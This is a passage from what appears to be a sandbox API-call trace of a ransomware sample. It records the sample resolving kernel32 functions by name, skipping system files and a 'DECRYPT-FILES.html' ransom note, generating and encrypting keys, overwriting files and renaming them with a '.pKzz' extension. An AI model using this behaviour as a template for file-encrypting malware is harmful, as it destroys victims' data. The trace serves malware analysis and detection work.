[0149.388] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0149.388] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0149.388] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0149.388] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0149.388] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0149.388] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0149.388] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0149.388] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0149.388] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0149.388] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0149.388] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0149.388] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0149.388] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0149.388] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0149.388] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0149.388] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0149.388] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0149.388] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0149.388] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0149.389] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0149.389] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0149.389] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0149.389] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0149.389] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0149.389] lstrlenA (lpString="CREATETHREAD") returned 12 [0149.389] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0149.389] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0149.389] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0149.389] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0149.389] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0149.389] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0149.389] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0149.389] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0149.389] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0149.389] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0149.389] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0149.389] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0149.389] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0149.389] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0149.389] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0149.390] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\Graphics\\warn.ico.pKzz") returned 44 [0149.390] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico"), lpNewFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico.pKzz" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico.pkzz"), dwFlags=0x0) returned 1 [0149.391] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0149.391] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0149.391] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0149.392] FindNextFileW (in: hFindFile=0x3b81200, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="warn.ico", cAlternateFileName="")) returned 0 [0149.392] FindClose (in: hFindFile=0x3b81200 | out: hFindFile=0x3b81200) returned 1 [0149.392] CloseHandle (hObject=0x528) returned 1 [0149.392] FindNextFileW (in: hFindFile=0x6bbd30, lpFindFileData=0x38bfa90 | out: lpFindFileData=0x38bfa90*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x87910600, ftLastWriteTime.dwHighDateTime=0x1ca2a27, nFileSizeHigh=0x0, nFileSizeLow=0xe2c, dwReserved0=0x31, dwReserved1=0x0, cFileName="header.bmp", cAlternateFileName="")) returned 1 [0149.392] lstrcmpiW (lpString1="header.bmp", lpString2="DECRYPT-FILES.html") returned 1 [0149.392] lstrcmpiW (lpString1="header.bmp", lpString2="autorun.inf") returned 1 [0149.392] lstrcmpiW (lpString1="header.bmp", lpString2="boot.ini") returned 1 [0149.392] lstrcmpiW (lpString1="header.bmp", lpString2="desktop.ini") returned 1 [0149.392] lstrcmpiW (lpString1="header.bmp", lpString2="ntuser.dat") returned -1 [0149.392] lstrcmpiW (lpString1="header.bmp", lpString2="iconcache.db") returned -1 [0149.392] lstrcmpiW (lpString1="header.bmp", lpString2="bootsect.bak") returned 1 [0149.392] lstrcmpiW (lpString1="header.bmp", lpString2="ntuser.dat.log") returned -1 [0149.392] lstrcmpiW (lpString1="header.bmp", lpString2="thumbs.db") returned -1 [0149.392] lstrcmpiW (lpString1="header.bmp", lpString2="Bootfont.bin") returned 1 [0149.392] lstrlenW (lpString="C:\\588bce7c90097ed212\\") returned 22 [0149.392] lstrlenW (lpString="header.bmp") returned 10 [0149.392] lstrcpyW (in: lpString1=0x38bf260, lpString2="C:\\588bce7c90097ed212\\" | out: lpString1="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0149.393] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\", lpString2="header.bmp" | out: lpString1="C:\\588bce7c90097ed212\\header.bmp") returned="C:\\588bce7c90097ed212\\header.bmp" [0149.393] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0149.393] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0149.394] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x38bea28 | out: lpFileSize=0x38bea28*=3628) returned 1 [0149.394] CreateFileMappingW (hFile=0x528, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x470 [0149.394] MapViewOfFile (hFileMappingObject=0x470, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0149.519] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0149.519] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0149.519] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0149.520] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d30000*, pdwDataLen=0x38be990*=0x28, dwBufLen=0x100 | out: pbData=0x2d30000*, pdwDataLen=0x38be990*=0x100) returned 1 [0149.520] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0149.520] VirtualFree (lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0149.521] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0149.521] CloseHandle (hObject=0x470) returned 1 [0149.521] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.521] WriteFile (in: hFile=0x528, lpBuffer=0x2d30000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be9b0, lpOverlapped=0x0 | out: lpBuffer=0x2d30000*, lpNumberOfBytesWritten=0x38be9b0*=0x108, lpOverlapped=0x0) returned 1 [0149.522] CloseHandle (hObject=0x0) returned 0 [0149.522] CloseHandle (hObject=0x528) returned 1 [0149.523] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0149.523] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0149.523] GetTickCount () returned 0x3aa3b [0149.523] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0149.524] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0149.524] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0149.524] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0149.524] lstrlenA (lpString="kernel32.dll") returned 12 [0149.525] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0149.525] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0149.525] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0149.525] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0149.525] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0149.525] lstrcpyA (in: lpString1=0x38bdda8, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0149.525] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0149.525] lstrcpyA (in: lpString1=0x38bdda8, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0149.525] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0149.525] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0149.525] lstrlenA (lpString="ADDATOMA") returned 8 [0149.525] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0149.525] lstrlenA (lpString="ADDATOMW") returned 8 [0149.525] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0149.525] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0149.525] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0149.525] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0149.525] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0149.525] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0149.525] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0149.525] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0149.525] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0149.525] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0149.525] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0149.525] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0149.525] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0149.525] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0149.525] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0149.525] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0149.525] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0149.525] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0149.525] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0149.526] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0149.526] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0149.526] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0149.526] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0149.526] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0149.526] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0149.526] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0149.526] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0149.526] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0149.526] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0149.526] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0149.526] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0149.526] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0149.526] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0149.526] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0149.526] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0149.526] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0149.526] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0149.526] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0149.526] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0149.526] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0149.526] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0149.526] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0149.526] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0149.526] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0149.526] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0149.526] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0149.526] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0149.526] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0149.526] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0149.526] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0149.526] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0149.526] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0149.527] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0149.527] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0149.527] lstrcpyA (in: lpString1=0x38bdda8, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0149.527] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0149.527] lstrcpyA (in: lpString1=0x38bdda8, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0149.527] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0149.527] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0149.527] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0149.527] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0149.527] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0149.527] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0149.527] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0149.527] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0149.527] lstrlenA (lpString="BACKUPREAD") returned 10 [0149.527] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0149.527] lstrlenA (lpString="BACKUPSEEK") returned 10 [0149.527] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0149.527] lstrlenA (lpString="BACKUPWRITE") returned 11 [0149.527] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0149.527] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0149.527] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0149.527] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0149.527] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0149.527] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0149.527] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0149.527] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0149.527] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0149.527] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0149.527] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0149.527] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0149.527] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0149.527] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0149.528] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0149.528] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0149.528] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0149.528] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0149.528] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0149.528] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0149.528] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0149.528] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0149.528] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0149.528] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0149.528] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0149.528] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0149.528] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0149.528] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0149.528] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0149.528] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0149.528] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0149.528] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0149.528] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0149.528] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0149.528] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0149.528] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0149.528] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0149.528] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0149.528] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0149.528] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0149.528] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0149.528] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0149.528] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0149.528] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0149.528] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0149.528] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0149.529] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0149.529] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0149.529] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0149.529] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0149.529] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0149.529] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0149.529] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0149.529] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0149.529] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0149.529] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0149.529] lstrcpyA (in: 